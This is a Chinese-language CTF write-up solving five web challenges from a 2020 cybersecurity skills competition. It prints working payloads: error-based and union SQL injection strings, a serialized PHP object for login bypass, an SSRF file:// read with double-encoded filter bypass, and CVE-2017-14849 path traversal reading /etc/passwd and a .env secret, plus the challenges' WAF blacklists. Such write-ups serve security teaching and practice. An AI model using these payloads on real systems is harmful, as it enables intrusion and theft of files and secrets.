网络安全管理职业技能竞赛web writeup

发表于:2020-11-11 14:07 作者: 合天网安实验室 阅读数(805人)

本文涉及知识点:CTF实验室

Web

0x01 easy_sql
一开始看到是easysql,那就先上sqlmap跑跑看,跑出了数据库名security以及若干表名

网络安全管理职业技能竞赛web writeup69.png

继续跑flag,结果没跑出来,最后还是上手工了。。。
测试输入一个单引号,页面无反应,但是在源码中发现了又报错信息

网络安全管理职业技能竞赛web writeup129.png

接着用单引号和括号闭合,报错注入,之后想了一下,为什么页面没有回显呢,原来是因为错误信息居然显示白色,前期被骗了很久,用鼠标描一下即可看到
uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb

网络安全管理职业技能竞赛web writeup290.png

uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb

网络安全管理职业技能竞赛web writeup384.png 
0x02 ezsqli
开局一个输入框

网络安全管理职业技能竞赛web writeup412.png

查看hint得到源码
<?php
//a "part" of the source code here

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    
    if (!isset($_SESSION['VerifyCode']))
            die("?");

    $username = strval($_POST['username']);
    $password = strval($_POST['password']);

    if ( !sqlWaf($password) )
        alertMes('damn hacker' ,"./index.php");

    $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
//    password format: /[A-Za-z0-9]/
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['password'] )
        {
            if ($row['password'] == $password)
            {
                $message = $FLAG;
            } else {
                $message = "username or password wrong, are you admin?";
            }
        } else {
            $message = "wrong user";
        }
    } else {
        $message = "user not exist or wrong password";
    }
}

?>

password被过滤了,usename没有过滤,使用联合查询,构造username和password返回admin即可
username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK

网络安全管理职业技能竞赛web writeup1823.png

0x03 warmup
下载源码开始审计,在index.php中发现了unserialize,估计是考察反序列化的利用了
···
if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···

conn.php源码
<?php
include 'flag.php';

 class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }
   
    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }

    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }

    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

    public function waf(){
     $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
     foreach ($blacklist as $value) {
      if(strripos($this->table, $value)){
       die('bad hacker,go out!');
      }
     }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }

    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }

}
?>

可以看到在check_login中,有个flag的输出点,前提是我们需要伪造成admin用户

网络安全管理职业技能竞赛web writeup4462.png

继续往下看,有个执行SQL语句的地方

网络安全管理职业技能竞赛web writeup4484.png

 public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

下面还有个waf,看了一下,发现我们需要构造的万能密码所用到的字符不会被ban
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
     foreach ($blacklist as $value) {
      if(strripos($this->table, $value)){
       die('bad hacker,go out!');
      }
     }
所以这里我们可以利用SQL注入来变成admin登录,username改为admin,password为万能密码a' or '1'='1,代码如下:
<?php
include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);

得到TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9,输入之后获得flag

网络安全管理职业技能竞赛web writeup5451.png

0x04 ssrfME
访问可以看到有两个输入点,一个可以输入url,一个是验证码

网络安全管理职业技能竞赛web writeup5497.png

脚本爆破验证码
<?php
for ($i=0; $i < 1000000000; $i++) {
 $a = substr(md5($i), -6, 6);
 if ($a == "d17b5b") {
  echo $i;
  break;
 }
}
?>
尝试使用file协议读取,发现读取/etc/passwd成功

网络安全管理职业技能竞赛web writeup5662.png

读取/flag,没成功,尝试读取/var/www/html/index.php,得到源码,原来是有个waf过滤了flag
···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
    $url = $_POST['url'];
    $captcha = $_POST['captcha'];
    $is_post = 1;
    if ( $captcha !== $_SESSION['answer'])
    {
        $die_mess = "wrong captcha";
        $is_die = 1;
    }

    if ( preg_match('/flag|proc|log/i', $url) )
    {
        $die_mess = "hacker";
        $is_die = 1;
    }
}
···

file协议读flag,利用两个url编码flag绕过
url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049

网络安全管理职业技能竞赛web writeup6241.png

0x05 SecretGuess
题目给了源码,但是不全

网络安全管理职业技能竞赛web writeup6273.png

在index.html中发现了source,点击可以看到源码
const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")

const app = express();

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')

app.get('/', (req, res) => {
    res.render("index")
})

app.post('/', (req, res) => {
    if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {
        res.render("index", {result: process.execSync("echo $FLAG")})
    } else {
        res.render("index", {result: "wrong secret"})
    }
})

app.get('/source', (req, res) => {
    res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})

app.listen(80, "0.0.0.0");

在给出dockerfile中,文件内容为
FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js

去搜索相关内容,发现了可能会存在CVE-2017-14849漏洞

网络安全管理职业技能竞赛web writeup7620.png

输入/static/../../a/../../..//etc/passwd,利用成功

网络安全管理职业技能竞赛web writeup7667.png

接着去获取secret,/static/../../a/../../../usr/local/app/.env,得到secret=CVE-2017-14849


网络安全管理职业技能竞赛web writeup7750.png

根据源码中的条件
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )
我们将CVE-2017-14849进行md5加密之后提交即可获得flag,auth=10523ece56c1d399dae057b3ac1ad733

网络安全管理职业技能竞赛web writeup7979.png